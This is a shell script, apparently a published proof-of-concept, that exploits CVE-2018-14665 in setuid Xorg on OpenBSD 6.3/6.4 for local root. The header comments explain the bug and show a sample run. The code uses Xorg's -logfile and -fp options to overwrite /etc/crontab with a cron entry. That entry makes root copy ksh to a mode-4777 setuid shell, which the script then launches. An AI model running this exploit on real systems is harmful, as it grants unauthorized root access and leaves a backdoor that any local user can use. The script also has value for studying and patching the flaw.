#!/bin/sh
# local privilege escalation in X11 when Xorg is setuid, released unpatched in 
# OpenBSD 6.4 stable - exploit uses cve-2018-14665 to overwrite a crontab entry 
# as root. Impacts Xorg 1.19.0 - 1.20.2 which ships setuid and vulnerable in default 
# OpenBSD. Errata: this was an unpatched 0day on release by Xorg for OpenBSD systems
# OpenBSD patch released on 26-10-2018. Credit for cve-2018-14665 goes to Narendra Shinde.
#
# https://marc.info/?l=openbsd-tech&r=1&b=201810&w=2
#
# "That is the first localhost root hole in quite a long time." - Theo de Raadt 25/10/18
#
# e.g.
# pufferfish:developer {30} uname -a;id;./openbsd-0day-cve-2018-14665.sh 
# OpenBSD pufferfish.frontierlocal.net 6.4 GENERIC.MP#364 amd64
# uid=1000(developer) gid=1000(developer) groups=1000(developer), 0(wheel), 9(wsrc), 21(wobj)
# [+] OpenBSD 6.3/6.4 X11R6 1.19.0 <= 1.20.2 local root exploit
#
# X.Org X Server 1.19.6
# Release Date: 2017-12-20
# X Protocol Version 11, Revision 0
# Build Operating System: OpenBSD 6.4 amd64 
# Current Operating System: OpenBSD pufferfish.frontierlocal.net 6.4 GENERIC.MP#364 amd64
# Build Date: 11 October 2018  01:50:08PM
# 
# Current version of pixman: 0.34.0
#         Before reporting problems, check http://wiki.x.org
#         to make sure that you have the latest version.
# Markers: (--) probed, (**) from config file, (==) default setting,
#          (++) from command line, (!!) notice, (II) informational,
#          (WW) warning, (EE) error, (NI) not implemented, (??) unknown.
# (++) Log file: "crontab", Time: Sat Oct 27 09:12:40 2018
# (==) Using system config directory "/usr/X11R6/share/X11/xorg.conf.d"
# _FontTransOpen: Unable to Parse address * * * * * root /tmp/.xsh
# [-] waiting for crontab to run, clean up /etc/crontab
# (II) Server terminated successfully (0). Closing log file.
# [-] running /usr/local/bin/xshell2... got root?
# pufferfish# id
# uid=1000(developer) euid=0(root) gid=1000(developer) groups=1000(developer), 0(wheel), 9(wsrc), 21(wobj)
#
# Hacker Fantastic - https://hacker.house
echo '[+] OpenBSD 6.3/6.4 X11R6 1.19.0 <= 1.20.2 local root exploit'
cat > /tmp/.xsh << EOF
cp /bin/ksh /usr/local/bin/xshell2
chmod 4777 /usr/local/bin/xshell2
EOF
chmod 755 /tmp/.xsh
cd /etc
Xorg -fp '* * * * * root /tmp/.xsh' -logfile crontab :1 &
sleep 5
pkill Xorg
echo '[-] waiting for crontab to run, clean up /etc/crontab'
sleep 120
echo '[-] running /usr/local/bin/xshell2... got root?'
/usr/local/bin/xshell2
